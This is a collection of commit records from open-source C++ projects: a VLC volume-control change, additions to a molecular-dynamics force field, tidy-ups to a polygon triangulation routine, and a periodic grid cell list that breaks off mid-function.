#include <vlc_aout_intf.h>
#include <vlc_playlist.h>
#include "volume.hpp"
Volume::Volume( intf_thread_t *pIntf ): VarPercent( pIntf )
{
m_max = 200;
m_volumeMax = AOUT_VOLUME_DEFAULT * 2;
m_step = (float)config_GetInt( pIntf, "volume-step" )
/ (float)m_volumeMax;
// Initial value
float val = aout_VolumeGet( getIntf()->p_sys->p_playlist ) * 100.f;
set( val, false );
}
void Volume::set( float percentage, bool updateVLC )
{
// Avoid looping forever...
if( (int)(get() * AOUT_VOLUME_MAX) !=
(int)(percentage * AOUT_VOLUME_MAX) )
{
VarPercent::set( percentage );
if( updateVLC )
aout_VolumeSet( getIntf()->p_sys->p_playlist,
(int)(get() * m_volumeMax) );
}
}
void Volume::set( int val, bool updateVLC )
{
set( (float)val / m_volumeMax, updateVLC );
}
string Volume::getAsStringPercent() const
{
int value = (int)(m_max * VarPercent::get());
// 0 <= value <= 200, so we need 4 chars
char str[4];
snprintf( str, 4, "%d", value );
return string(str);
}
<commit_msg>skins2: remove unneeded brittle hack to avoid callback loop<commit_after>/*****************************************************************************
* volume.cpp
*****************************************************************************
* Copyright (C) 2003 the VideoLAN team
* $Id$
*
* Authors: Cyril Deguet <asmax@via.ecp.fr>
* Olivier Teulière <ipkiss@via.ecp.fr>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
*****************************************************************************/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <vlc_common.h>
#include <vlc_aout_intf.h>
#include <vlc_playlist.h>
#include "volume.hpp"
Volume::Volume( intf_thread_t *pIntf ): VarPercent( pIntf )
{
m_max = 200;
m_volumeMax = AOUT_VOLUME_DEFAULT * 2;
m_step = (float)config_GetInt( pIntf, "volume-step" )
/ (float)m_volumeMax;
// Initial value
float val = aout_VolumeGet( getIntf()->p_sys->p_playlist ) * 100.f;
set( val, false );
}
void Volume::set( float percentage, bool updateVLC )
{
VarPercent::set( percentage );
if( updateVLC )
aout_VolumeSet( getIntf()->p_sys->p_playlist, get() * m_volumeMax );
}
void Volume::set( int val, bool updateVLC )
{
set( (float)val / m_volumeMax, updateVLC );
}
string Volume::getAsStringPercent() const
{
int value = (int)(m_max * VarPercent::get());
// 0 <= value <= 200, so we need 4 chars
char str[4];
snprintf( str, 4, "%d", value );
return string(str);
}
<|endoftext|>
|
<commit_before>#ifndef MJOLNIR_FORCE_FIELD
#define MJOLNIR_FORCE_FIELD
#include "LocalForceField.hpp"
#include "GlobalForceField.hpp"
namespace mjolnir
{
template<typename traitsT>
class ForceField
{
public:
typedef traitsT traits_type;
typedef typename traits_type::real_type real_type;
typedef typename traits_type::coordinate_type coordinate_type;
typedef System<traits_type> system_type;
typedef LocalForceField<traits_type> local_forcefield_type;
typedef GlobalForceField<traits_type> global_forcefield_type;
public:
ForceField(local_forcefield_type&& local, global_forcefield_type&& global)
: local_(std::move(local)), global_(std::move(global))
{}
~ForceField() = default;
ForceField(const ForceField&) = delete;
ForceField(ForceField&&) = default;
ForceField& operator=(const ForceField&) = delete;
ForceField& operator=(ForceField&&) = default;
void initialize(const system_type& sys, const real_type dt)
{
global_.initialize(sys, dt);
}
void calc_force(system_type& sys)
{
local_.calc_force(sys);
global_.calc_force(sys);
}
real_type calc_energy(const system_type& sys) const
{
return local_.calc_energy(sys) + global_.calc_energy(sys);
}
std::string list_local_energy() const
{
return local_.list_energy();
}
std::string dump_local_energy(const system_type& sys) const
{
return local_.dump_energy(sys);
}
private:
local_forcefield_type local_;
global_forcefield_type global_;
};
} // mjolnir
#endif /* MJOLNIR_FORCE_FIELD */
<commit_msg>add dump global energy to forcefield<commit_after>#ifndef MJOLNIR_FORCE_FIELD
#define MJOLNIR_FORCE_FIELD
#include "LocalForceField.hpp"
#include "GlobalForceField.hpp"
namespace mjolnir
{
template<typename traitsT>
class ForceField
{
public:
typedef traitsT traits_type;
typedef typename traits_type::real_type real_type;
typedef typename traits_type::coordinate_type coordinate_type;
typedef System<traits_type> system_type;
typedef LocalForceField<traits_type> local_forcefield_type;
typedef GlobalForceField<traits_type> global_forcefield_type;
public:
ForceField(local_forcefield_type&& local, global_forcefield_type&& global)
: local_(std::move(local)), global_(std::move(global))
{}
~ForceField() = default;
ForceField(const ForceField&) = delete;
ForceField(ForceField&&) = default;
ForceField& operator=(const ForceField&) = delete;
ForceField& operator=(ForceField&&) = default;
void initialize(const system_type& sys, const real_type dt)
{
global_.initialize(sys, dt);
}
void calc_force(system_type& sys)
{
local_.calc_force(sys);
global_.calc_force(sys);
}
real_type calc_energy(const system_type& sys) const
{
return local_.calc_energy(sys) + global_.calc_energy(sys);
}
std::string list_local_energy() const
{
return local_.list_energy();
}
std::string dump_local_energy(const system_type& sys) const
{
return local_.dump_energy(sys);
}
std::string list_global_energy() const
{
return global_.list_energy();
}
std::string dump_global_energy(const system_type& sys) const
{
return global_.dump_energy(sys);
}
private:
local_forcefield_type local_;
global_forcefield_type global_;
};
} // mjolnir
#endif /* MJOLNIR_FORCE_FIELD */
<|endoftext|>
|
<commit_before>#include "poly_triang.hh"
#include "Geo/area.hh"
#include "Geo/entity.hh"
#include "Geo/linear_system.hh"
#include "Geo/point_in_polygon.hh"
#include "Geo/tolerance.hh"
#include "Utils/circular.hh"
#include "Utils/statistics.hh"
#include <Utils/error_handling.hh>
#include <numeric>
struct PolygonFilImpl : public PolygonFil
{
virtual void add(const std::vector<Geo::Vector3>& _plgn) override;
virtual const std::vector<std::array<size_t, 3>>& triangles() override
{
compute();
return sol_.tris_;
}
const std::vector<Geo::Vector3>& polygon() override
{
return loops_[0];
}
virtual double area() override
{
compute();
return sol_.area_;
}
private:
struct Solution
{
void compute(const std::vector<Geo::Vector3>& _pos,
std::vector<size_t>& _indcs,
const double _tols);
bool concave(size_t _i) const
{
return _i < concav_.size() && concav_[_i];
}
bool contain_concave(size_t _inds[3], Geo::Vector3 _vects[2],
const std::vector<Geo::Vector3>& _pts) const;
bool find_concave(const std::vector<Geo::Vector3>& _pts,
std::vector<bool>& _concav) const;
std::vector<std::array<size_t, 3>> tris_;
double area_ = 0;
std::vector<bool> concav_;
};
void compute();
typedef std::vector<Geo::Vector3> Polygon;
typedef std::vector<Polygon> PolygonVector;
PolygonVector loops_;
Solution sol_;
};
std::shared_ptr<PolygonFil> PolygonFil::make()
{
return std::make_shared<PolygonFilImpl>();
}
void PolygonFilImpl::add(
const std::vector<Geo::Vector3>& _plgn)
{
loops_.push_back(_plgn);
sol_.area_ = 0;
}
void PolygonFilImpl::compute()
{
if (sol_.area_ > 0 || loops_.empty())
return; // Triangulation already computed.
Utils::StatisticsT<double> tol_max;
for (const auto& loop : loops_)
for (const auto& pt : loop)
tol_max.add(Geo::epsilon(pt));
const auto tol = tol_max.max() * 10;
if (loops_.size() > 1)
{
// Put the auter loop at the begin of the list.
auto pt = loops_[0][0];
for (auto loop_it = std::next(loops_.begin());
loop_it != loops_.end();
++loop_it)
{
auto where =
Geo::PointInPolygon::classify(*loop_it, pt, tol);
if (where == Geo::PointInPolygon::Inside)
{
std::swap(loops_.front(), *loop_it);
break;
}
}
while (loops_.size() > 1)
{
Utils::StatisticsT<double> stats;
auto pt0 = loops_[0].back();
std::tuple<Polygon::iterator, // Near segment end on outer loop.
PolygonVector::iterator, // Nearest internal poop
Polygon::iterator, // Nearest vertex on the intrnal loop
double> // Projection parameter
conn_info, best_conn_info;
for (std::get<0>(conn_info) = loops_[0].begin();
std::get<0>(conn_info) != loops_[0].end();
pt0 = *(std::get<0>(conn_info)++))
{
Geo::Segment seg = { pt0, *std::get<0>(conn_info) };
for (std::get<1>(conn_info) = std::next(loops_.begin());
std::get<1>(conn_info) != loops_.end();
++std::get<1>(conn_info))
{
for (std::get<2>(conn_info) = std::get<1>(conn_info)->begin();
std::get<2>(conn_info) != std::get<1>(conn_info)->end();
++std::get<2>(conn_info))
{
double dist_sq;
if (!Geo::closest_point(seg, *std::get<2>(conn_info),
nullptr, &std::get<3>(conn_info), &dist_sq))
{
continue;
}
if (stats.add(dist_sq) & stats.Smallest)
best_conn_info = conn_info;
}
}
}
if (std::get<3>(best_conn_info) < 0.5)
{
if (std::get<0>(best_conn_info) == loops_[0].begin())
std::get<0>(best_conn_info) = loops_[0].end();
--std::get<0>(best_conn_info);
}
std::rotate(std::get<1>(best_conn_info)->begin(),
std::get<2>(best_conn_info), std::get<1>(best_conn_info)->end());
std::get<1>(best_conn_info)->push_back(
std::get<1>(best_conn_info)->front());
std::get<1>(best_conn_info)->insert(
std::get<1>(best_conn_info)->begin(),
*std::get<0>(best_conn_info));
loops_[0].insert(std::next(std::get<0>(best_conn_info)),
std::get<1>(best_conn_info)->crbegin(),
std::get<1>(best_conn_info)->crend());
loops_.erase(std::get<1>(best_conn_info));
}
}
std::vector<rsize_t> indcs;
indcs.reserve(loops_[0].size());
auto prev = &loops_[0].back();
for (size_t i = 0, j; i < loops_[0].size(); prev = &loops_[0][i++])
{
for (j = 0; j < i; ++j)
{
if (loops_[0][i] == loops_[0][j])
{
indcs.push_back(j);
loops_[0].erase(loops_[0].begin() + (i--));
break;
}
}
if (j == i)
indcs.push_back(j);
}
sol_.compute(loops_[0], indcs, tol);
}
namespace {
//!Find if the triangle is completely insidethe polygon
bool valid_triangle(const size_t _i,
const std::vector<size_t>& _indcs,
const std::vector<Geo::Vector3>& _pts,
const double _tol)
{
auto next = _i;
auto prev = Utils::decrease(
Utils::decrease(_i, _indcs.size()), _indcs.size());
std::vector<Geo::Vector3> tmp_poly;
for (const auto& ind : _indcs)
tmp_poly.push_back(_pts[ind]);
auto pt_in = (tmp_poly[prev] + tmp_poly[next]) * 0.5;
auto where = Geo::PointInPolygon::classify(tmp_poly, pt_in, _tol);
if (where != Geo::PointInPolygon::Inside)
return false;
auto j = tmp_poly.size() - 1;
Geo::Segment seg = {tmp_poly[prev], tmp_poly[next]};
for (size_t i = 0; i < tmp_poly.size(); j = i++)
{
if (_indcs[i] == _indcs[next] || _indcs[i] == _indcs[prev] ||
_indcs[j] == _indcs[next] || _indcs[j] == _indcs[prev])
continue;
Geo::Segment pol_seg = {tmp_poly[i], tmp_poly[j]};
if (Geo::closest_point(seg, pol_seg))
return false;
}
return true;
}
};
void PolygonFilImpl::Solution::compute(
const std::vector<Geo::Vector3>& _pts,
std::vector<size_t>& _indcs,
const double _tol)
{
while (_indcs.size() > 3)
{
Geo::Vector3 vects[2];
size_t inds[3] = { *(_indcs.end() - 2), _indcs.back(), 0 };
vects[0] = _pts[inds[0]] - _pts[inds[1]];
Utils::StatisticsT<double> min_ang;
for (size_t i = 0; i < _indcs.size(); ++i)
{
inds[2] = _indcs[i];
vects[1] = _pts[inds[2]] - _pts[inds[1]];
if (valid_triangle(i, _indcs, _pts, _tol))
//if (!concave(inds[1]))
{
auto angl = Geo::angle(vects[0], vects[1]);
min_ang.add(angl, i);
}
inds[0] = inds[1];
inds[1] = inds[2];
vects[0] = -vects[1];
}
if (min_ang.count() == 0)
{
THROW("No good triangle avaliable.");
}
std::array<size_t, 3> tri;
tri[2] = min_ang.min_idx();
tri[1] = Utils::decrease(tri[2], _indcs.size());
auto to_rem = tri[1];
if (min_ang.min() > 0)
{
tri[0] = Utils::decrease(tri[1], _indcs.size());
for (auto& pt_ind : tri) pt_ind = _indcs[pt_ind];
tris_.push_back(tri);
}
_indcs.erase(_indcs.begin() + to_rem);
}
if (_indcs.size() == 3)
{
std::array<size_t, 3> tri = { 0, 1, 2 };
for (auto& pt_ind : tri) pt_ind = _indcs[pt_ind];
tris_.push_back(tri);
}
area_ = 0.;
for (const auto& tri : tris_)
area_ += Geo::area(_pts[tri[0]], _pts[tri[1]], _pts[tri[2]]);
}
namespace {
// return 0 - outside, 1 - on boundary, 2 - inside
size_t inside_triangle(
const Geo::Vector3 _vert[2],
const Geo::Vector3& _test_pt)
{
double A[2][2], B[2], X[2];
for (int i = 0; i < 2; ++i)
{
for (int j = i; j < 2; ++j)
A[i][j] = A[j][i] = _vert[i] * _vert[j];
B[i] = _vert[i] * _test_pt;
}
if (!Geo::solve_2x2(A, X, B))
return 0;
size_t result = 0;
if (X[0] >= 0 && X[1] >= 0 && (X[0] + X[1]) <= 1)
{
++result;
if (X[0] > 0 && X[1] > 0 && (X[0] + X[1]) < 1)
++result;
}
return result;
}
size_t inside_triangle(const Geo::Vector3& _pt,
const Geo::Vector3& _vrt0,
const Geo::Vector3& _vrt1,
const Geo::Vector3& _vrt2
)
{
const Geo::Vector3 verts[2] = { _vrt1 - _vrt0, _vrt2 - _vrt0 };
return inside_triangle(verts, _pt - _vrt0);
}
}
bool PolygonFilImpl::Solution::find_concave(
const std::vector<Geo::Vector3>& _pts,
std::vector<bool>& _concav) const
{
bool achange = false;
_concav.resize(_pts.size());
for (size_t i = 0; i < _pts.size(); ++i)
{
_concav[i] = concave(i);
size_t inside = 0;
for (const auto& tri : tris_)
{
if (std::find(tri.begin(), tri.end(), i) != tri.end())
continue;
inside += inside_triangle(
_pts[i], _pts[tri[0]], _pts[tri[1]], _pts[tri[2]]);
if (inside > 1)
{
_concav[i] = !_concav[i];
achange = true;
break;
}
}
}
return achange;
}
bool PolygonFilImpl::Solution::contain_concave(
size_t _inds[3], Geo::Vector3 _vects[2],
const std::vector<Geo::Vector3>& _pts) const
{
for (auto i = 0; i < concav_.size(); ++i)
{
if (i == _inds[0] || i == _inds[2] || !concav_[i])
continue;
if (inside_triangle(_vects, _pts[i] - _pts[_inds[1]]))
return true;
}
return false;
}
<commit_msg>Minor ahestetic changes<commit_after>#include "poly_triang.hh"
#include "Geo/area.hh"
#include "Geo/entity.hh"
#include "Geo/linear_system.hh"
#include "Geo/point_in_polygon.hh"
#include "Geo/tolerance.hh"
#include "Utils/circular.hh"
#include "Utils/statistics.hh"
#include <Utils/error_handling.hh>
#include <numeric>
struct PolygonFilImpl : public PolygonFil
{
virtual void add(const std::vector<Geo::Vector3>& _plgn) override;
virtual const std::vector<std::array<size_t, 3>>& triangles() override
{
compute();
return sol_.tris_;
}
const std::vector<Geo::Vector3>& polygon() override
{
return loops_[0];
}
virtual double area() override
{
compute();
return sol_.area_;
}
private:
struct Solution
{
void compute(const std::vector<Geo::Vector3>& _pos,
std::vector<size_t>& _indcs,
const double _tols);
bool concave(size_t _i) const
{
return _i < concav_.size() && concav_[_i];
}
bool contain_concave(size_t _inds[3], Geo::Vector3 _vects[2],
const std::vector<Geo::Vector3>& _pts) const;
bool find_concave(const std::vector<Geo::Vector3>& _pts,
std::vector<bool>& _concav) const;
std::vector<std::array<size_t, 3>> tris_;
double area_ = 0;
std::vector<bool> concav_;
};
void compute();
typedef std::vector<Geo::Vector3> Polygon;
typedef std::vector<Polygon> PolygonVector;
PolygonVector loops_;
Solution sol_;
};
std::shared_ptr<PolygonFil> PolygonFil::make()
{
return std::make_shared<PolygonFilImpl>();
}
void PolygonFilImpl::add(
const std::vector<Geo::Vector3>& _plgn)
{
loops_.push_back(_plgn);
sol_.area_ = 0;
}
void PolygonFilImpl::compute()
{
if (sol_.area_ > 0 || loops_.empty())
return; // Triangulation already computed.
Utils::StatisticsT<double> tol_max;
for (const auto& loop : loops_)
for (const auto& pt : loop)
tol_max.add(Geo::epsilon(pt));
const auto tol = tol_max.max() * 10;
if (loops_.size() > 1)
{
// Put the auter loop at the begin of the list.
auto pt = loops_[0][0];
for (auto loop_it = std::next(loops_.begin());
loop_it != loops_.end();
++loop_it)
{
auto where =
Geo::PointInPolygon::classify(*loop_it, pt, tol);
if (where == Geo::PointInPolygon::Inside)
{
std::swap(loops_.front(), *loop_it);
break;
}
}
while (loops_.size() > 1)
{
Utils::StatisticsT<double> stats;
auto pt0 = loops_[0].back();
std::tuple<Polygon::iterator, // Near segment end on outer loop.
PolygonVector::iterator, // Nearest internal poop
Polygon::iterator, // Nearest vertex on the intrnal loop
double> // Projection parameter
conn_info, best_conn_info;
for (std::get<0>(conn_info) = loops_[0].begin();
std::get<0>(conn_info) != loops_[0].end();
pt0 = *(std::get<0>(conn_info)++))
{
Geo::Segment seg = { pt0, *std::get<0>(conn_info) };
for (std::get<1>(conn_info) = std::next(loops_.begin());
std::get<1>(conn_info) != loops_.end();
++std::get<1>(conn_info))
{
for (std::get<2>(conn_info) = std::get<1>(conn_info)->begin();
std::get<2>(conn_info) != std::get<1>(conn_info)->end();
++std::get<2>(conn_info))
{
double dist_sq;
if (!Geo::closest_point(seg, *std::get<2>(conn_info),
nullptr, &std::get<3>(conn_info), &dist_sq))
{
continue;
}
if (stats.add(dist_sq) & stats.Smallest)
best_conn_info = conn_info;
}
}
}
if (std::get<3>(best_conn_info) < 0.5)
{
if (std::get<0>(best_conn_info) == loops_[0].begin())
std::get<0>(best_conn_info) = loops_[0].end();
--std::get<0>(best_conn_info);
}
std::rotate(std::get<1>(best_conn_info)->begin(),
std::get<2>(best_conn_info), std::get<1>(best_conn_info)->end());
std::get<1>(best_conn_info)->push_back(
std::get<1>(best_conn_info)->front());
std::get<1>(best_conn_info)->insert(
std::get<1>(best_conn_info)->begin(),
*std::get<0>(best_conn_info));
loops_[0].insert(std::next(std::get<0>(best_conn_info)),
std::get<1>(best_conn_info)->crbegin(),
std::get<1>(best_conn_info)->crend());
loops_.erase(std::get<1>(best_conn_info));
}
}
std::vector<rsize_t> indcs;
indcs.reserve(loops_[0].size());
auto prev = &loops_[0].back();
for (size_t i = 0, j; i < loops_[0].size(); prev = &loops_[0][i++])
{
for (j = 0; j < i; ++j)
{
if (loops_[0][i] == loops_[0][j])
{
indcs.push_back(j);
loops_[0].erase(loops_[0].begin() + (i--));
break;
}
}
if (j == i)
indcs.push_back(j);
}
sol_.compute(loops_[0], indcs, tol);
}
namespace {
//!Find if the triangle is completely insidethe polygon
bool valid_triangle(const size_t _i,
const std::vector<size_t>& _indcs,
const std::vector<Geo::Vector3>& _pts,
const double _tol)
{
auto next = _i;
auto prev = Utils::decrease(
Utils::decrease(_i, _indcs.size()), _indcs.size());
std::vector<Geo::Vector3> tmp_poly;
for (const auto& ind : _indcs)
tmp_poly.push_back(_pts[ind]);
auto pt_in = (tmp_poly[prev] + tmp_poly[next]) * 0.5;
auto where = Geo::PointInPolygon::classify(tmp_poly, pt_in, _tol);
if (where != Geo::PointInPolygon::Inside)
return false;
auto j = tmp_poly.size() - 1;
Geo::Segment seg = {tmp_poly[prev], tmp_poly[next]};
for (size_t i = 0; i < tmp_poly.size(); j = i++)
{
if (_indcs[i] == _indcs[next] || _indcs[i] == _indcs[prev] ||
_indcs[j] == _indcs[next] || _indcs[j] == _indcs[prev])
continue;
Geo::Segment pol_seg = {tmp_poly[i], tmp_poly[j]};
if (Geo::closest_point(seg, pol_seg))
return false;
}
return true;
}
};
void PolygonFilImpl::Solution::compute(
const std::vector<Geo::Vector3>& _pts,
std::vector<size_t>& _indcs,
const double _tol)
{
while (_indcs.size() > 3)
{
Geo::Vector3 vects[2];
size_t inds[3] = { *(_indcs.end() - 2), _indcs.back(), 0 };
vects[0] = _pts[inds[0]] - _pts[inds[1]];
Utils::StatisticsT<double> min_ang;
for (size_t i = 0; i < _indcs.size(); ++i)
{
inds[2] = _indcs[i];
vects[1] = _pts[inds[2]] - _pts[inds[1]];
if (valid_triangle(i, _indcs, _pts, _tol))
{
auto angl = Geo::angle(vects[0], vects[1]);
min_ang.add(angl, i);
}
inds[0] = inds[1];
inds[1] = inds[2];
vects[0] = -vects[1];
}
if (min_ang.count() == 0)
{
THROW("No good triangle found.");
}
std::array<size_t, 3> tri;
tri[2] = min_ang.min_idx();
tri[1] = Utils::decrease(tri[2], _indcs.size());
auto to_rem = tri[1];
if (min_ang.min() > 0)
{
tri[0] = Utils::decrease(tri[1], _indcs.size());
for (auto& pt_ind : tri) pt_ind = _indcs[pt_ind];
tris_.push_back(tri);
}
_indcs.erase(_indcs.begin() + to_rem);
}
if (_indcs.size() == 3)
{
std::array<size_t, 3> tri = { 0, 1, 2 };
for (auto& pt_ind : tri) pt_ind = _indcs[pt_ind];
tris_.push_back(tri);
}
area_ = 0.;
for (const auto& tri : tris_)
area_ += Geo::area(_pts[tri[0]], _pts[tri[1]], _pts[tri[2]]);
}
namespace {
// return 0 - outside, 1 - on boundary, 2 - inside
size_t inside_triangle(
const Geo::Vector3 _vert[2],
const Geo::Vector3& _test_pt)
{
double A[2][2], B[2], X[2];
for (int i = 0; i < 2; ++i)
{
for (int j = i; j < 2; ++j)
A[i][j] = A[j][i] = _vert[i] * _vert[j];
B[i] = _vert[i] * _test_pt;
}
if (!Geo::solve_2x2(A, X, B))
return 0;
size_t result = 0;
if (X[0] >= 0 && X[1] >= 0 && (X[0] + X[1]) <= 1)
{
++result;
if (X[0] > 0 && X[1] > 0 && (X[0] + X[1]) < 1)
++result;
}
return result;
}
size_t inside_triangle(const Geo::Vector3& _pt,
const Geo::Vector3& _vrt0,
const Geo::Vector3& _vrt1,
const Geo::Vector3& _vrt2
)
{
const Geo::Vector3 verts[2] = { _vrt1 - _vrt0, _vrt2 - _vrt0 };
return inside_triangle(verts, _pt - _vrt0);
}
}
bool PolygonFilImpl::Solution::find_concave(
const std::vector<Geo::Vector3>& _pts,
std::vector<bool>& _concav) const
{
bool achange = false;
_concav.resize(_pts.size());
for (size_t i = 0; i < _pts.size(); ++i)
{
_concav[i] = concave(i);
size_t inside = 0;
for (const auto& tri : tris_)
{
if (std::find(tri.begin(), tri.end(), i) != tri.end())
continue;
inside += inside_triangle(
_pts[i], _pts[tri[0]], _pts[tri[1]], _pts[tri[2]]);
if (inside > 1)
{
_concav[i] = !_concav[i];
achange = true;
break;
}
}
}
return achange;
}
bool PolygonFilImpl::Solution::contain_concave(
size_t _inds[3], Geo::Vector3 _vects[2],
const std::vector<Geo::Vector3>& _pts) const
{
for (auto i = 0; i < concav_.size(); ++i)
{
if (i == _inds[0] || i == _inds[2] || !concav_[i])
continue;
if (inside_triangle(_vects, _pts[i] - _pts[_inds[1]]))
return true;
}
return false;
}
<|endoftext|>
|
<commit_before>#ifndef MJOLNIR_PERIODIC_GRID_CELL_LIST
#define MJOLNIR_PERIODIC_GRID_CELL_LIST
#include <mjolnir/core/System.hpp>
#include <mjolnir/core/NeighborList.hpp>
#include <mjolnir/core/ExclusionList.hpp>
#include <mjolnir/util/range.hpp>
#include <mjolnir/util/logger.hpp>
#include <iostream>
#include <vector>
#include <cmath>
#include <cassert>
namespace mjolnir
{
// XXX: almost same as UnlimitedGridCellList.
// the difference between UnlimitedGridCellList is only the number of cells.
// PeriodicGridCellList can optimize the number of cells using boundary size.
template<typename traitsT>
class PeriodicGridCellList
{
public:
typedef traitsT traits_type;
typedef System<traits_type> system_type;
typedef typename traits_type::real_type real_type;
typedef typename traits_type::coordinate_type coordinate_type;
typedef ExclusionList exclusion_list_type;
typedef NeighborList neighbor_list_type;
typedef neighbor_list_type::range_type range_type;
constexpr static real_type mesh_epsilon = 1e-6;
typedef std::pair<std::size_t, std::size_t> particle_cell_idx_pair;
typedef std::vector<particle_cell_idx_pair> cell_index_container_type;
typedef std::array<std::size_t, 27> adjacent_cell_idx;
typedef std::pair<range<typename cell_index_container_type::const_iterator>,
adjacent_cell_idx> cell_type;
typedef std::vector<cell_type> cell_list_type;
public:
PeriodicGridCellList()
: margin_(1), current_margin_(-1), r_x_(-1), r_y_(-1), r_z_(-1)
{}
~PeriodicGridCellList() = default;
PeriodicGridCellList(PeriodicGridCellList const&) = default;
PeriodicGridCellList(PeriodicGridCellList &&) = default;
PeriodicGridCellList& operator=(PeriodicGridCellList const&) = default;
PeriodicGridCellList& operator=(PeriodicGridCellList &&) = default;
PeriodicGridCellList(const real_type margin)
: margin_(margin), current_margin_(-1), r_x_(-1), r_y_(-1), r_z_(-1)
{}
bool valid() const noexcept
{
return current_margin_ >= 0.0;
}
template<typename PotentialT>
void initialize(const system_type& sys, const PotentialT& pot);
template<typename PotentialT>
void reconstruct(const system_type& sys, const PotentialT& pot)
{
this->initialize(sys, pot); // do the same thing as `initialize`
return;
}
void make (const system_type& sys);
void update(const system_type& sys);
real_type cutoff() const {return this->cutoff_;}
real_type margin() const {return this->margin_;}
range_type partners(std::size_t i) const noexcept {return neighbors_[i];}
private:
std::size_t calc_index(const coordinate_type& pos) const noexcept
{
return calc_index(
static_cast<std::size_t>(std::floor((pos[0]-lower_bound_[0])*r_x_)),
static_cast<std::size_t>(std::floor((pos[1]-lower_bound_[1])*r_y_)),
static_cast<std::size_t>(std::floor((pos[2]-lower_bound_[2])*r_z_)));
}
std::size_t calc_index(const std::size_t i, const std::size_t j,
const std::size_t k) const noexcept
{
return i + this->dim_x_ * j + this->dim_x_ * this->dim_y_ * k;
}
void set_cutoff(const real_type c) noexcept
{
this->cutoff_ = c;
this->r_x_ = 1 / (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);
this->r_y_ = 1 / (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);
this->r_z_ = 1 / (this->cutoff_ * (1 + this->margin_) + mesh_epsilon);
return;
}
void set_margin(const real_type m) noexcept
{
this->margin_ = m;
this->r_x_ = 1.0 / (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);
this->r_y_ = 1.0 / (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);
this->r_z_ = 1.0 / (this->cutoff_ * (1.0 + this->margin_) + mesh_epsilon);
return;
}
private:
real_type cutoff_;
real_type margin_;
real_type current_margin_;
real_type r_x_;
real_type r_y_;
real_type r_z_;
std::size_t dim_x_;
std::size_t dim_y_;
std::size_t dim_z_;
static Logger& logger_;
coordinate_type lower_bound_;
neighbor_list_type neighbors_;
exclusion_list_type exclusion_;
cell_list_type cell_list_;
cell_index_container_type index_by_cell_;
// index_by_cell_ has {particle idx, cell idx} and sorted by cell idx
// first term of cell list contains first and last idx of index_by_cell
};
template<typename traitsT>
Logger& PeriodicGridCellList<traitsT>::logger_ =
LoggerManager<char>::get_logger("PeriodicGridCellList");
template<typename traitsT>
void PeriodicGridCellList<traitsT>::make(const system_type& sys)
{
MJOLNIR_LOG_DEBUG("PeriodicGridCellList<traitsT>::make CALLED");
neighbors_.clear();
index_by_cell_.resize(sys.size());
for(std::size_t i=0; i<sys.size(); ++i)
{
index_by_cell_[i] = std::make_pair(i, calc_index(sys[i].position));
}
std::sort(this->index_by_cell_.begin(), this->index_by_cell_.end(),
[](const std::pair<std::size_t, std::size_t>& lhs,
const std::pair<std::size_t, std::size_t>& rhs) noexcept -> bool
{
return lhs.second < rhs.second;
});
{ // assign first and last iterator for each cells
auto iter = index_by_cell_.cbegin();
for(std::size_t i=0; i<cell_list_.size(); ++i)
{
if(iter == index_by_cell_.cend() || i != iter->second)
{
cell_list_[i].first = make_range(iter, iter);
continue;
}
const auto first = iter;
while(iter != index_by_cell_.cend() && i == iter->second)
{
++iter;
}
cell_list_[i].first = make_range(first, iter);
}
}
MJOLNIR_LOG_DEBUG("cell list is updated");
const real_type r_c = cutoff_ * (1. + margin_);
const real_type r_c2 = r_c * r_c;
for(std::size_t i=0; i<sys.size(); ++i)
{
const auto& ri = sys[i].position;
const auto& cell = cell_list_.at(calc_index(ri));
MJOLNIR_LOG_DEBUG("particle position", sys[i].position);
MJOLNIR_LOG_DEBUG("making verlet list for index", i);
MJOLNIR_LOG_DEBUG("except list for ", i, "-th value");
std::vector<std::size_t> partner;
for(std::size_t cidx : cell.second) // for all adjacent cells...
{
for(auto pici : cell_list_[cidx].first)
{
const auto j = pici.first;
MJOLNIR_LOG_DEBUG("looking particle", j);
if(j <= i || this->exclusion_.is_excluded(i, j))
{
continue;
}
if(length_sq(sys.adjust_direction(sys.at(j).position - ri)) < r_c2)
{
MJOLNIR_LOG_DEBUG("add index", j, "to verlet list", i);
partner.push_back(j);
}
}
}
// make the result consistent with NaivePairCalculation...
std::sort(partner.begin(), partner.end());
this->neighbors_.add_list_for(i, partner);
}
this->current_margin_ = cutoff_ * margin_;
MJOLNIR_LOG_DEBUG("PeriodicGridCellList::make() RETURNED");
return ;
}
template<typename traitsT>
void PeriodicGridCellList<traitsT>::update(const system_type& sys)
{
// TODO consider boundary size
this->current_margin_ -= sys.largest_displacement() * 2.;
if(this->current_margin_ < 0.)
{
this->make(sys);
}
return ;
}
template<typename traitsT>
template<typename PotentialT>
void PeriodicGridCellList<traitsT>::initialize(
const system_type& sys, const PotentialT& pot)
{
MJOLNIR_LOG_DEBUG("PeriodicGridCellList<traitsT>::initialize CALLED");
this->set_cutoff(pot.max_cutoff_length());
this->exclusion_.make(sys, pot);
this->lower_bound_ = sys.boundary().lower_bound();
const auto system_size = sys.boundary().width();
this->dim_x_ = std::max<std::size_t>(3, std::floor(system_size[0] * r_x_));
this->dim_y_ = std::max<std::size_t>(3, std::floor(system_size[1] * r_y_));
this->dim_z_ = std::max<std::size_t>(3, std::floor(system_size[2] * r_z_));
if(dim_x_ == 3 || dim_y_ == 3 || dim_z_ == 3)
{
std::cerr << "WARNING: cell size might be too small: number of grids =("
<< dim_x_ << ", " << dim_y_ << ", " << dim_z_ << ")\n";
}
// it may expand cell a bit (to fit system range)
this->r_x_ = 1.0 / (system_size[0] / this->dim_x_);
this->r_y_ = 1.0 / (system_size[1] / this->dim_y_);
this->r_z_ = 1.0 / (system_size[2] / this->dim_z_);
this->cell_list_.resize(dim_x_ * dim_y_ * dim_z_);
for(int x = 0; x < dim_x_; ++x)
